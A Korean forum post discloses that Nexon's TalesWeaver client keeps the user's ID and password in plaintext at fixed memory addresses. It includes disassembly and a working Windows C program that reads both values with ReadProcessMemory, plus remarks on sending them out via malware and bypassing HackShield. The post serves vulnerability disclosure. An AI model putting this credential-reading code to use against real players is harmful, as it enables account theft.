넥슨에 직접적으로 건의해봐야 상담원이 내용 이해도 못할거고 그냥 넘길것이 뻔해서,
운영진과 개발진이이 직접 읽어라는 의미에서
이렇게 공개적으로, 테일즈위버 클라이언트 프로세스 메모리공간상에 아이디 비밀번호가
공개적으로 노출되는 심각한 문제점을 공개합니다.

위 스샷은 실행중인 테일즈위버 프로그램을 디버거로 어태치해서 , 속을 들여다보는 화면입니다.
위 스샷에서 아래 부분을 보시면 Address 006736F5 의 위치에 우리가 입력했었던 ID가 암호화 되지 않은 채 , 그대로 노출되어져 있고
Address 006737F5 의 위치에 비밀번호가 토시 한자 안틀리고 그대로 노출되어져 있습니다.
(비번위치에는 특수문자가 보이는데 , 특수문자가 혹시 깨진거 아니냐 , 하신분 계실텐데,
저는 현재 사용중인 비밀번호에 특수문자가 들어가기 때문에 원래 저렇게 보이는게 정상입니다.)
저 두군데의 위치는 문자열을 저장하는것으로 봐서 아마 CHAR형 배열 변수인 것으로 추측되네요.
그 근거는 아래와 같습니다.
스샷에서 두개의 빨간색 네모 박스 사이에 C언어의 for문으로 작성된 코드가 존재합니다.
먼저 EDX 레지스터에 ID나 비밀번호가 위치할 변수의 주소값을 넣습니다.
EAX 레지스터에는 우리가 입력한 ID와 비밀번호가 저장되어져 있는
변수의 주소값이 담기게 될것이고 , 그 주소값을 BYTE PTR 만큼 참조를 하여 , CL 레지스터로 값을 복사합니다.
그 후 EAX 레지스터에 저장되어져 있는 주소값을 1 증가시키고 , CL 레지스터에 들어있는 문자를
EDX 레지스터에 들어있는 주소값으로 옮깁니다. 그리고 EDX 레지스터에 담겨있는 주소값을 1 증가시킵니다.
즉, 아래와 같은 어셈블리 코드입니다.
MOV EAX, DWORD PTR DS:[ESI+1F4]
ADD EAX,1FC <= 우리가 비번을 입력하면, 비번이 메모리에 저장이 되는데 그 공간의 주소를 EAX레지스터에 넣음
MOV EDX, 0x6736F5 <= 비번을 클라이언트 런타임동안 계속 노출시킬곳의 주소값을 EDX레지스터로 넣음
MOV CL, BYTE PTR DS:[EAX]
INC EAX
MOV BYTE PTR DS:[EDX], CL
INC EDX
TEST CL,CL
JNZ 0x57F3B0
비번을 1Byte 씩 읽어들이면서 , 전역변수 배열공간에 대놓고 노출시킬 비번을 평문 그대로 저장합니다.
결론은 배열의 인덱스 넘버만큼 엑세스 한다는 소리이므로 , 배열 변수일것이고
C언어에서는 다음과 비슷한 코드가 되겠군요.
char inputed_password[9]; //여기에 우리가 입력한 패스워드가 들어가 있습니다.
char outputed_password[9]; //우리가 입력한 패스워드가 다시 여기로 들어갑니다.
int i;
for(i=0; i<sizeof(inputed_pasword); i++){
if( *(inputted_password+i) == NULL)
break;
*(outputed_password+i) = *(inputed_password+i);
}
이 연산을 수행하게 되면 결국은
Address 006736F5 위치에는 ID가 담겨지게 되고,
Address 006737F5 위치에는 비밀번호가 고스란히 담겨지게 됩니다.
왜 이 연산을 수행하는지는 현재로썬 알수 없습니다.
원래는 이러한 계정정보를 담는 변수는 로그인 시에만 임시적으로 써먹고 프로세스 공간 내에서 제거해야하지만,
현재 클라이언트의 상태는 테일즈위버가 실행중인 내내 없어지지 않고 저 상태로 계속 있게 됩니다.
즉 , 서버에 로그인 한 이후부터 , 테일즈위버 프로그램이 종료될때까지 저 공간에는
아이디 비밀번호가 계속 노출되어져 있는것입니다.
따라서 이 경우에 해커가 할수있는 행동으로는
테일즈위버가 실행중인 컴퓨터에 악성코드를 심어야 할텐데,
이 악성코드의 역할은 무조건 수단과 방법을 가리지 않고 스샷에 나타나있는 위 두 부분의 정보만 읽어서 자신에게 전송되게끔 하는 악성코드를
제작해서 웹에 뿌려서 , 감염되기만 기다리면 되는것입니다.
물론 핵쉴드가 ZwOpenProcess라던가 , ZwReadVirtualMemory 등의
Kernel-Side Native Windows API를 후킹하고 있기때문에
핵쉴드가 작동중인 상태에서 원론적인 코드 작성방법으로는 저 부분이 읽혀지지 않지만,
핵쉴드도 단순히 프로그램이고 약점이 있을수가 있으므로,
해커가 따로 우회 드라이버 등을 작성하거나 하게되면 , 어떻게 될지 모릅니다.
실제로 핵쉴드를 잠시 중지시켜놓은 뒤 , 저 부분을 읽는 프로그램을 만들어보았는데 , 아무 문제없이 ID와 비밀번호가 잘 읽혔습니다
아래는 비번 읽는 프로그램의 소스코드 입니다.
어디까지나 핵쉴드가 실행중이지 않은 상태에서 정상 작동합니다.
#include <windows.h>
#include <stdio.h>
#define _HACK_ADDR1 0x006736F5 //ID가 노출되는 부분 (정식서비스 ver4.61 기준)
#define _HACK_ADDR2 0x006737F5 //비밀번호가 노출되는 부분 (정식서비스 ver4.61 기준)
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpszCmdParam, int nCmdShow)
{
DWORD i; //for문을 위한 변수
DWORD processId;
HANDLE hProcess;
BYTE buf[9],buf1[9]; //ReadProcessMemory에 이용
HWND hwnd; //FindWindowA에 이용
CHAR strText[100];
hwnd = FindWindowA("D2MainWindow",NULL);
if(hwnd==NULL){
MessageBoxA(NULL,"윈도우를 찾는데 실패했습니다.","에러",MB_OK);
return -1;
}
GetWindowThreadProcessId(hwnd, &processId);
hProcess = OpenProcess(MAXIMUM_ALLOWED,FALSE,processId);
if(hProcess==NULL){
MessageBoxA(NULL, "프로세스를 여는것에 실패했습니다\n", "에러", MB_OK);
return -1;
}
__try{
for(i=0; i<9; i++){
ReadProcessMemory(hProcess, (LPCVOID) (_HACK_ADDR1+i), &buf[i], 1, 0);
ReadProcessMemory(hProcess, (LPCVOID) (_HACK_ADDR2+i), &buf1[i], 1, 0);
}
sprintf(textstr,"당신의 ID : %s\n당신의 비밀번호: %s\n",buf,buf1);
MessageBoxA(NULL,textstr,"Warning",MB_OK);
}
__finally
{
CloseHandle(hProcess);
}
return 0;
}

위 프로그램을 핵쉴드가 켜진 상태에서 작동시키면 , 프로세스 여는것부터 실패하기 때문에
개인정보가 읽히지 않습니다.
그러나 , 너무 게임 보안 프로그램에 의존하고 있는것이 좀 그렇군요.
보안 솔루션 프로그램이 무력화 된다거나 우회 된다거나 하는 경우는 생각해보셨는지 모르겠습니다.
수많은 클라이언트 프로그램을 분석해왔지만 , 이런 경우는 생판 처음 보는것 같습니다.
웹하드도 이런 경우는 없었습니다.
더군다나 계정정보에 관해서 가장 민감한 온라인 게임 상에서 이런 현상이 일어나다니 할말이 없네요.
넥슨은 신속히 소스코드를 수정하시길..
겜방서 겜하면 아이디 비번 노출되어 있는 것이라고 생각해야 하는 거네요. 집에 가서 꼭 바꿉시다. 핵실드 켰는데도 악성코드가 자꾸 무슨 파일정보를 보내려고 하는걸 다음 방화벽이 막아주는걸 본 적이 있어요.